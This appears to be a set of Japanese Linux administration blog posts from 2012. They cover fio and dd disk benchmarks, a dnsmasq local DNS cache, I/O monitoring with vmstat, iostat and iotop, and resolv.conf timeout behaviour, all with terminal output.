    CC init.o
    CC stat.o
    CC log.o
    CC time.o
    CC filesetup.o
    CC eta.o
    CC verify.o
省略.......
    CC engines/rdma.o
    CC profiles/tiobench.o
    CC engines/fusion-aw.o
    CC engines/falloc.o
    CC engines/e4defrag.o
    CC fio
[root@HOME001 fio-2.0.12.1]#

[root@HOME001 fio-2.0.12.1]# make install
install -m 755 -d /usr/local/bin
install fio fio_generate_plots /usr/local/bin
install -m 755 -d /usr/local/man/man1
install -m 644 fio.1 /usr/local/man/man1
install -m 644 fio_generate_plots.1 /usr/local/man/man1
[root@HOME001 fio-2.0.12.1]#

fio

実際にFIOでI/Oテストを行ってみる。
fio –directory=/tmp/ –direct=1 –rw=write –bs=4k –size=512M –numjobs=2 –runtime=100 –group_reporting –name=seq-write

[root@HOME001 fio-2.0.12.1]# fio --directory=/tmp/ --direct=1 --rw=write --bs=4k --size=512M --numjobs=2 --runtime=100 --group_reporting --name=seq-write
seq-write: (g=0): rw=write, bs=4K-4K/4K-4K/4K-4K, ioengine=sync, iodepth=1
seq-write: (g=0): rw=write, bs=4K-4K/4K-4K/4K-4K, ioengine=sync, iodepth=1
fio-2.0.12.1
Starting 2 processes
seq-write: Laying out IO file(s) (1 file(s) / 512MB)
seq-write: Laying out IO file(s) (1 file(s) / 512MB)
Jobs: 2 (f=2): [WW] [100.0% done] [0K/11584K/0K /s] [0 /2896 /0  iops] [eta 00m:00s]
seq-write: (groupid=0, jobs=2): err= 0: pid=10250: Sun Dec 30 16:16:04 2012
  write: io=1024.0MB, bw=11369KB/s, iops=2842 , runt= 92231msec
    clat (usec): min=223 , max=202116 , avg=693.03, stdev=5958.70
     lat (usec): min=225 , max=202118 , avg=695.77, stdev=5958.71
    clat percentiles (usec):
     |  1.00th=[  266],  5.00th=[  274], 10.00th=[  294], 20.00th=[  306],
     | 30.00th=[  310], 40.00th=[  314], 50.00th=[  318], 60.00th=[  326],
     | 70.00th=[  350], 80.00th=[  358], 90.00th=[  362], 95.00th=[  378],
     | 99.00th=[  892], 99.50th=[ 1112], 99.90th=[99840], 99.95th=[100864],
     | 99.99th=[100864]
    bw (KB/s)  : min= 3760, max= 7072, per=49.97%, avg=5680.87, stdev=554.02
    lat (usec) : 250=0.12%, 500=96.95%, 750=1.30%, 1000=0.84%
    lat (msec) : 2=0.39%, 4=0.02%, 10=0.01%, 20=0.01%, 50=0.01%
    lat (msec) : 100=0.04%, 250=0.32%
  cpu          : usr=1.09%, sys=14.74%, ctx=267814, majf=0, minf=0
  IO depths    : 1=100.0%, 2=0.0%, 4=0.0%, 8=0.0%, 16=0.0%, 32=0.0%, >=64=0.0%
     submit    : 0=0.0%, 4=100.0%, 8=0.0%, 16=0.0%, 32=0.0%, 64=0.0%, >=64=0.0%
     complete  : 0=0.0%, 4=100.0%, 8=0.0%, 16=0.0%, 32=0.0%, 64=0.0%, >=64=0.0%
     issued    : total=r=0/w=0/d=262144, short=r=0/w=0/d=0

Run status group 0 (all jobs):
  WRITE: io=1024.0MB, aggrb=11369KB/s, minb=11369KB/s, maxb=11369KB/s, mint=92231msec, maxt=92231msec

Disk stats (read/write):
    dm-0: ios=0/262084, merge=0/0, ticks=0/243053, in_queue=243054, util=100.00%, aggrios=0/262205, aggrmerge=0/80, aggrticks=0/197656, aggrin_queue=197235, aggrutil=99.97%
  sda: ios=0/262205, merge=0/80, ticks=0/197656, in_queue=197235, util=99.97%
[root@HOME001 fio-2.0.12.1]#

fioでベンチマーク中にiotopでパフォーマンス確認
fio-test

ファイルが残っているのでマニュアルで削除する。

[root@HOME001 fio-2.0.12.1]# ls -lh /tmp/
合計 1.1G
srwxrwxrwx. 1 mysql mysql    0 12月 30 15:44 2012 mysql.sock
-rw-r--r--. 1 root  root  512M 12月 30 16:16 2012 seq-write.1.0
-rw-r--r--. 1 root  root  512M 12月 30 16:16 2012 seq-write.2.0
-rw-------. 1 root  root   254 12月 30 16:02 2012 yum_save_tx-2012-12-30-16-02d9sxpX.yumtx
[root@HOME001 fio-2.0.12.1]#

その他:参考値簡易測定
何もインストールしないで通常のDDコマンドでも簡易的な確認可能

[root@HOME001 tmp]# time dd if=/dev/zero of=tempfile_1M bs=1M count=1024
1024+0 records in
1024+0 records out
1073741824 bytes (1.1 GB) copied, 35.9152 s, 29.9 MB/s

real    0m36.251s
user    0m0.006s
sys     0m2.802s
[root@HOME001 tmp]# time dd if=/dev/zero of=tempfile_1024M bs=1024M count=1
1+0 records in
1+0 records out
1073741824 bytes (1.1 GB) copied, 38.0579 s, 28.2 MB/s

real    0m38.178s
user    0m0.000s
sys     0m3.910s
[root@HOME001 tmp]# ls -lh tempfile_*
-rw-r--r--. 1 root root 1.0G 12月 30 16:57 2012 tempfile_1024M
-rw-r--r--. 1 root root 1.0G 12月 30 16:57 2012 tempfile_1M
[root@HOME001 tmp]#

dd

参考
fioを用いたディスクIOのパフォーマンス測定
クラウドを加速させるSSD技術(前編)
書き込み速度ベンチマーク
容量指定のダミーファイルを作成したい


Windowsでは名前解決したアドレスはローカルキャッシュに残っているが、
Linuxではローカルキャッシュに残って無いので場合によっては、
名前解決の処理やネットワークの負荷を軽減する為にLinuxでも利用した方が良い場合がある。
但し、便利な反面ローカルにキャッシュが残っている事を認識してないと問題解決に
時間がかかる場合があるので、運用者は常に認識しておいた方が良いかと。

DNSMASQのインストール

[root@HOME001 htop-0.8.3]# yum install dnsmasq
Loaded plugins: fastestmirror, security
Loading mirror speeds from cached hostfile
 * base: ftp.iij.ad.jp
 * extras: ftp.iij.ad.jp
 * updates: ftp.iij.ad.jp
Setting up Install Process
Resolving Dependencies
--> Running transaction check
---> Package dnsmasq.i686 0:2.48-6.el6 will be installed
--> Finished Dependency Resolution

Dependencies Resolved

========================================================================================================================================================================
 Package                                  Arch                                  Version                                     Repository                             Size
========================================================================================================================================================================
Installing:
 dnsmasq                                  i686                                  2.48-6.el6                                  base                                  144 k

Transaction Summary
========================================================================================================================================================================
Install       1 Package(s)

Total download size: 144 k
Installed size: 281 k
Is this ok [y/N]: y
Downloading Packages:
dnsmasq-2.48-6.el6.i686.rpm                                                                                                                      | 144 kB     00:00
Running rpm_check_debug
Running Transaction Test
Transaction Test Succeeded
Running Transaction
  Installing : dnsmasq-2.48-6.el6.i686                                                                                                                              1/1
  Verifying  : dnsmasq-2.48-6.el6.i686                                                                                                                              1/1

Installed:
  dnsmasq.i686 0:2.48-6.el6

Complete!
[root@HOME001 htop-0.8.3]# /sbin/chkconfig --list dnsmasq
dnsmasq         0:off   1:off   2:off   3:off   4:off   5:off   6:off
[root@HOME001 htop-0.8.3]#

自動起動する場合は、chkconfigにて自動起動設定して下さい。

ローカルからDNSを利用出来るように設定ファイルの編集
/etc/dnsmasq.conf

 [root@HOME001 htop-0.8.3]# cat /etc/dnsmasq.conf | grep "127.0.0.1" | egrep -i -v ^#
 listen-address=127.0.0.1
 [root@HOME001 htop-0.8.3]#

1

/etc/resolv.conf

 [root@HOME001 htop-0.8.3]# cat /etc/resolv.conf | grep "127.0.0.1" | egrep -i -v ^#
 nameserver 127.0.0.1
 [root@HOME001 htop-0.8.3]#

resolv

サービスの再起動

[root@HOME001 htop-0.8.3]# /etc/init.d/dnsmasq restart
Shutting down dnsmasq:                                     [  OK  ]
Starting dnsmasq:                                          [  OK  ]
[root@HOME001 htop-0.8.3]# 

dnsmasq

ローカルで名前解決が出来るか確認

[root@HOME001 htop-0.8.3]# dig @127.0.0.1 kakaku.com

; <<>> DiG 9.8.2rc1-RedHat-9.8.2-0.10.rc1.el6 <<>> @127.0.0.1 kakaku.com
; (1 server found)
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 37234
;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 0

;; QUESTION SECTION:
;kakaku.com.                    IN      A

;; ANSWER SECTION:
kakaku.com.             411     IN      A       210.129.151.129

;; Query time: 9 msec
;; SERVER: 127.0.0.1#53(127.0.0.1)
;; WHEN: Sun Dec 30 13:53:28 2012
;; MSG SIZE  rcvd: 44

&#91;root@HOME001 htop-0.8.3&#93;# 
&#91;/SHELL&#93;

<a href="http://variable.jp/2012/12/30/linux%e3%81%ab%e3%81%8a%e3%81%91%e3%82%8bdns-cache/dig/" rel="attachment wp-att-2450"><img src="http://variable.jp/wp-content/uploads/2012/12/dig.jpg" alt="dig" width="624" height="351" /></a>

<a href="http://variable.jp/2012/12/30/linux%e3%81%ab%e3%81%8a%e3%81%91%e3%82%8bdns-cache/dig-grep/" rel="attachment wp-att-2452"><img src="http://variable.jp/wp-content/uploads/2012/12/dig-grep.jpg" alt="dig-grep" width="442" height="80" /></a>

<strong>ローカルキャッシュのリフレッシュ</strong>
[SHELL]
[root@HOME001 htop-0.8.3]# /etc/init.d/dnsmasq force-reload
Shutting down dnsmasq:                                     [  OK  ]
Starting dnsmasq:                                          [  OK  ]
[root@HOME001 htop-0.8.3]#

force-reload

参考

Dnsmasq

いろいろなキャッシュ:dnsmasq, cache proxy

dnsmasqで簡易DNSサーバ


Linuxシステムにてディスクボトルネックを確認する為のコマンド

VMSTAT

[root@HOME001 ~]# vmstat
procs -----------memory---------- ---swap-- -----io---- --system-- -----cpu-----
 r  b   swpd   free   buff  cache   si   so    bi    bo   in   cs us sy id wa st
 0  0      0 1663492  10488 167444    0    0    62    19   31   58  1  0 97  2  0
[root@HOME001 ~]#

IOSTAT

[root@HOME001 ~]# iostat
Linux 2.6.32-279.el6.i686 (HOME001.localdomain)         2012年12月29日  _i686_  (1 CPU)

avg-cpu:  %user   %nice %system %iowait  %steal   %idle
           0.66    0.00    0.54    1.83    0.00   96.98

Device:            tps   Blk_read/s   Blk_wrtn/s   Blk_read   Blk_wrtn
sda               2.70       142.88        44.06     284638      87784
dm-0              7.92       129.00        44.04     256994      87728
dm-1              0.16         1.29         0.00       2576          0
dm-2              0.06         0.46         0.01        922         24

[root@HOME001 ~]# 

[root@HOME001 iotop-0.4.4]# iostat -d -x
Linux 2.6.32-279.el6.i686 (HOME001.localdomain)         2012年12月29日  _i686_  (1 CPU)

Device:         rrqm/s   wrqm/s     r/s     w/s   rsec/s   wsec/s avgrq-sz avgqu-sz   await  svctm  %util
sda               0.67     3.11    1.39    0.39    88.43    27.72    65.42     0.21  115.80  11.72   2.08
dm-0              0.00     0.00    1.57    3.42    80.07    27.33    21.51     1.78  356.10   3.90   1.95
dm-1              0.00     0.00    0.10    0.00     0.77     0.00     8.00     0.00    5.24   2.16   0.02
dm-2              0.00     0.00    0.05    0.05     0.37     0.38     7.93     0.00   16.82  12.62   0.12

[root@HOME001 iotop-0.4.4]#

[root@HOME001 iotop-0.4.4]# iostat -d -x dm-0 15 10
Linux 2.6.32-279.el6.i686 (HOME001.localdomain)         2012年12月29日  _i686_  (1 CPU)

Device:         rrqm/s   wrqm/s     r/s     w/s   rsec/s   wsec/s avgrq-sz avgqu-sz   await  svctm  %util
dm-0              0.00     0.00    1.53    3.32    77.73    26.54    21.51     1.73  356.00   3.92   1.90

Device:         rrqm/s   wrqm/s     r/s     w/s   rsec/s   wsec/s avgrq-sz avgqu-sz   await  svctm  %util
dm-0              0.00     0.00    0.00    0.20     0.00     1.60     8.00     0.02  112.33 112.33   2.25

Device:         rrqm/s   wrqm/s     r/s     w/s   rsec/s   wsec/s avgrq-sz avgqu-sz   await  svctm  %util
dm-0              0.00     0.00    0.00    0.00     0.00     0.00     0.00     0.00    0.00   0.00   0.00

iostat

iostat-part

Iotop
http://guichaz.free.fr/iotop/

Linux has always been able to show how much I/O was going on (the bi and bo columns of the vmstat 1 command).
Iotop is a Python program with a top like UI used to show of behalf of which process is the I/O going on.
It requires Python ≥ 2.5 (or Python ≥ 2.4 with the ctypes module) and a Linux kernel ≥ 2.6.20 with the
TASK_DELAY_ACCT CONFIG_TASKSTATS, TASK_IO_ACCOUNTING and CONFIG_VM_EVENT_COUNTERS options on.

必要なカーネルとPythonのバージョン確認

[root@HOME001 tools]# uname -r
2.6.32-279.el6.i686
[root@HOME001 tools]# python -V
Python 2.6.6
[root@HOME001 tools]#

uname_python

ダウンロードとインストール

[root@HOME001 tools]# wget http://guichaz.free.fr/iotop/files/iotop-0.4.4.tar.gz
--2012-12-29 07:12:15--  http://guichaz.free.fr/iotop/files/iotop-0.4.4.tar.gz
guichaz.free.fr をDNSに問いあわせています... 212.27.63.130
guichaz.free.fr|212.27.63.130|:80 に接続しています... 接続しました。
HTTP による接続要求を送信しました、応答を待っています... 200 OK
長さ: 30334 (30K) [application/x-gzip]
`iotop-0.4.4.tar.gz' に保存中

100%[=============================================================================>] 30,334      21.8K/s 時間 1.4s

2012-12-29 07:12:17 (21.8 KB/s) - `iotop-0.4.4.tar.gz' へ保存完了 [30334/30334]

[root@HOME001 tools]# tar zxvf iotop-0.4.4.tar.gz
iotop-0.4.4/
iotop-0.4.4/COPYING
iotop-0.4.4/PKG-INFO
iotop-0.4.4/NEWS
iotop-0.4.4/iotop/
iotop-0.4.4/iotop/__init__.py
iotop-0.4.4/iotop/netlink.py
iotop-0.4.4/iotop/ioprio.py
iotop-0.4.4/iotop/version.py
iotop-0.4.4/iotop/data.py
iotop-0.4.4/iotop/ui.py
iotop-0.4.4/iotop/genetlink.py
iotop-0.4.4/iotop/vmstat.py
iotop-0.4.4/.gitignore
iotop-0.4.4/iotop.py
iotop-0.4.4/ChangeLog
iotop-0.4.4/setup.py
iotop-0.4.4/README
iotop-0.4.4/iotop.1
iotop-0.4.4/setup.cfg
iotop-0.4.4/THANKS
iotop-0.4.4/bin/
iotop-0.4.4/bin/iotop
[root@HOME001 tools]#

[root@HOME001 iotop-0.4.4]# ./setup.py install
running install
running build
running build_py

install

iotopの実行

[root@HOME001 iotop-0.4.4]# /usr/bin/iotop
Total DISK READ:       0.00 B/s | Total DISK WRITE:       0.00 B/s
  TID  PRIO  USER     DISK READ  DISK WRITE  SWAPIN     IO>    COMMAND
    1 be/4 root        0.00 B/s    0.00 B/s  0.00 %  0.00 % init
    2 be/4 root        0.00 B/s    0.00 B/s  0.00 %  0.00 % [kthreadd]
    3 rt/4 root        0.00 B/s    0.00 B/s  0.00 %  0.00 % [migration/0]
    4 be/4 root        0.00 B/s    0.00 B/s  0.00 %  0.00 % [ksoftirqd/0]
    5 rt/4 root        0.00 B/s    0.00 B/s  0.00 %  0.00 % [migration/0]
    6 rt/4 root        0.00 B/s    0.00 B/s  0.00 %  0.00 % [watchdog/0]
    7 be/4 root        0.00 B/s    0.00 B/s  0.00 %  0.00 % [events/0]
    8 be/4 root        0.00 B/s    0.00 B/s  0.00 %  0.00 % [cgroup]
    9 be/4 root        0.00 B/s    0.00 B/s  0.00 %  0.00 % [khelper]
   10 be/4 root        0.00 B/s    0.00 B/s  0.00 %  0.00 % [netns]
[root@HOME001 iotop-0.4.4]#


[root@HOME001 iotop-0.4.4]# iotop -bto --iter=1
07:27:50 Total DISK READ:       0.00 B/s | Total DISK WRITE:       0.00 B/s
    TIME  TID  PRIO  USER     DISK READ  DISK WRITE  SWAPIN      IO    COMMAND
[root@HOME001 iotop-0.4.4]#

iotop

iotop_optopm

以下パッケージでも入手可能との事
sudo aptitude install iotop
sudo yum install iotop
sudo emerge iotop
sudo pacman -Sy iotop

参考
http://guichaz.free.fr/iotop/

Using iotop to check I/O and swap

htopでパフォーマンス確認


DNSクライアントにて指定するDNS設定と挙動について(/etc/resolv.conf)
1/3のDNSのうち一台でも稼動していれば、2~3秒程度で名前解決が出来る。
DNSの指定してない場合は、18秒程度で名前解決出来ないエラーが返ってくる。

[root@HOME001 usr]# man resolv.conf
RESOLV.CONF(5)             Linux Programmer’s Manual            RESOLV.CONF(5)

NAME
       resolv.conf - resolver configuration file

SYNOPSIS
       /etc/resolv.conf

nameserver Name server IP address
Internet address (in dot notation) of a name server that the resolver should
query. Up to MAXNS (currently 3, see ) name servers may be listed,
one per keyword. If there are multiple servers, the resolver library queries
them in the order listed. If no nameserver entries are present, the default is
to use the name server on the local machine. (The algorithm used is to try a
name server, and if the query times out, try the next, until out of name
servers, then repeat trying all the name servers until a maximum number of
retries are made.)

options
Options allows certain internal resolver variables to be modified.
The syntax is options option …
where option is one of the following:
debug sets RES_DEBUG in _res.options.

ndots:n
sets a threshold for the number of dots which must appear in a name given
to res_query(3) (see resolver(3)) before an initial absolute query will
be made. The default for n is 1, meaning that if there are any dots in a
name, the name will be tried first as an absolute name before any search
list elements are appended to it. The maximum value for this option is
silently capped to 15.

timeout:n
sets the amount of time the resolver will wait for a response from a
remote name server before retrying the query via a different name server.
Measured in seconds, the default is RES_TIMEOUT (currently 5, see
). The maximum value for this option is silently capped to 30.

attempts:n
sets the number of times the resolver will send a query to its name
servers before giving up and returning an error to the calling applica-
tion. The default is RES_DFLRETRY (currently 2, see ). The
maximum value for this option is silently capped to 5.

rotate sets RES_ROTATE in _res.options, which causes round robin selection of
nameservers from among those listed. This has the effect of spreading
the query load among all listed servers, rather than having all clients
try the first listed server first every time.

man

■通常時の名前解決にかかる時間

[root@HOME001 ~]# time dig yahoo.co.jp

; <<>> DiG 9.8.2rc1-RedHat-9.8.2-0.10.rc1.el6 <<>> yahoo.co.jp
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 43654
;; flags: qr rd ra; QUERY: 1, ANSWER: 2, AUTHORITY: 0, ADDITIONAL: 0

;; QUESTION SECTION:
;yahoo.co.jp.                   IN      A

;; ANSWER SECTION:
yahoo.co.jp.            138     IN      A       124.83.187.140
yahoo.co.jp.            138     IN      A       203.216.243.240

;; Query time: 8 msec
;; SERVER: 8.8.8.8#53(8.8.8.8)
;; WHEN: Fri Dec 28 11:18:20 2012
;; MSG SIZE  rcvd: 61


real    0m0.019s
user    0m0.005s
sys     0m0.005s
&#91;/SHELL&#93;

<strong>■DNSの最初のエントリーにダミーDNSを設定</strong>
→ 約1秒で2nd DNSにて名前解決を実行する。
[SHELL]
[root@HOME001 ~]# time dig yahoo.co.jp

; <<>> DiG 9.8.2rc1-RedHat-9.8.2-0.10.rc1.el6 <<>> yahoo.co.jp
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 9092
;; flags: qr rd ra; QUERY: 1, ANSWER: 2, AUTHORITY: 0, ADDITIONAL: 0

;; QUESTION SECTION:
;yahoo.co.jp.                   IN      A

;; ANSWER SECTION:
yahoo.co.jp.            80      IN      A       124.83.187.140
yahoo.co.jp.            80      IN      A       203.216.243.240

;; Query time: 10 msec
;; SERVER: 8.8.8.8#53(8.8.8.8)
;; WHEN: Fri Dec 28 11:19:18 2012
;; MSG SIZE  rcvd: 61


real    0m1.021s
user    0m0.005s
sys     0m0.004s
&#91;/SHELL&#93;

<strong>■DNSの最初と2番目のエントリーにダミーDNSを設定</strong>
→ 約2秒で3rd DNSにて名前解決を実行する。
[SHELL]
[root@HOME001 ~]# time dig yahoo.co.jp

; <<>> DiG 9.8.2rc1-RedHat-9.8.2-0.10.rc1.el6 <<>> yahoo.co.jp
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 63958
;; flags: qr rd ra; QUERY: 1, ANSWER: 2, AUTHORITY: 0, ADDITIONAL: 0

;; QUESTION SECTION:
;yahoo.co.jp.                   IN      A

;; ANSWER SECTION:
yahoo.co.jp.            14      IN      A       124.83.187.140
yahoo.co.jp.            14      IN      A       203.216.243.240

;; Query time: 9 msec
;; SERVER: 8.8.8.8#53(8.8.8.8)
;; WHEN: Fri Dec 28 11:20:24 2012
;; MSG SIZE  rcvd: 61


real    0m2.021s
user    0m0.005s
sys     0m0.007s
&#91;/SHELL&#93; 


<strong>■3つ共に利用出来ないDNSを設定した場合</strong>
→ 約20秒に名前解決出来ないエラーを返す。
[SHELL]
[root@HOME001 ~]# time dig yahoo.co.jp

; <<>> DiG 9.8.2rc1-RedHat-9.8.2-0.10.rc1.el6 <<>> yahoo.co.jp
;; global options: +cmd
;; connection timed out; no servers could be reached

real    0m21.014s
user    0m0.008s
sys     0m0.005s

■2つ利用出来ないDNSを設定した場合
それ以外のDNSの指定無し。
→ 約18秒に名前解決出来ないエラーを返す。

[root@HOME001 ~]# time dig yahoo.co.jp

; <<>> DiG 9.8.2rc1-RedHat-9.8.2-0.10.rc1.el6 <<>> yahoo.co.jp
;; global options: +cmd
;; connection timed out; no servers could be reached

real    0m18.012s
user    0m0.005s
sys     0m0.005s

■1つ利用出来ないDNSを設定した場合
それ以外のDNSの指定無し。
→ 約15秒に名前解決出来ないエラーを返す。

[root@HOME001 ~]# time dig yahoo.co.jp

; <<>> DiG 9.8.2rc1-RedHat-9.8.2-0.10.rc1.el6 <<>> yahoo.co.jp
;; global options: +cmd
;; connection timed out; no servers could be reached

real    0m15.013s
user    0m0.008s
sys     0m0.004s

■resolv.cnfにDNSを追加してない場合
→ 約18秒に名前解決出来ないエラーを返す。

[root@HOME001 ~]# time dig yahoo.co.jp

; <<>> DiG 9.8.2rc1-RedHat-9.8.2-0.10.rc1.el6 <<>> yahoo.co.jp
;; global options: +cmd
;; connection timed out; no servers could be reached

real    0m18.014s
user    0m0.006s
sys     0m0.006s

■最後(3番目)のDNSのみ有効なDNSを設定した場合
→ 約2秒後に正常に稼動しているDNSサーバーで名前解決を行う


[root@HOME001 ~]# time dig yahoo.co.jp

; <<>> DiG 9.8.2rc1-RedHat-9.8.2-0.10.rc1.el6 <<>> yahoo.co.jp
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 56911 ;; flags: qr rd ra; QUERY: 1, ANSWER: 2, AUTHORITY: 0, ADDITIONAL: 0 ;; QUESTION SECTION: ;yahoo.co.jp. IN A ;; ANSWER SECTION: yahoo.co.jp. 157 IN A 203.216.243.240 yahoo.co.jp. 157 IN A 124.83.187.140 ;; Query time: 8 msec ;; SERVER: 8.8.8.8#53(8.8.8.8) ;; WHEN: Fri Dec 28 11:43:19 2012 ;; MSG SIZE rcvd: 61 real 0m2.019s user 0m0.004s sys 0m0.005s [/SHELL] 1つでも有効なDNSの設定があれば名前解決は2~3秒で完了
192.168.1.1と192.168.1.2はダミーDNS
last_entry

その他、OPTIONを指定した場合の挙動メモ
OPTIONSの指定のみでDNSを指定しない場合のタイムアウト
other

OPTIONSの指定して有効なDNSを指定しない場合のタイムアウト
other2

OPTIONSの指定して有効なDNSを2番目に指定した場合
other3

参考
http://www.opensource.apple.com/source/libresolv/libresolv-25.0.2/resolv.h
http://research.microsoft.com/en-us/um/redmond/projects/invisible/include/net/dns/resolv.h.htm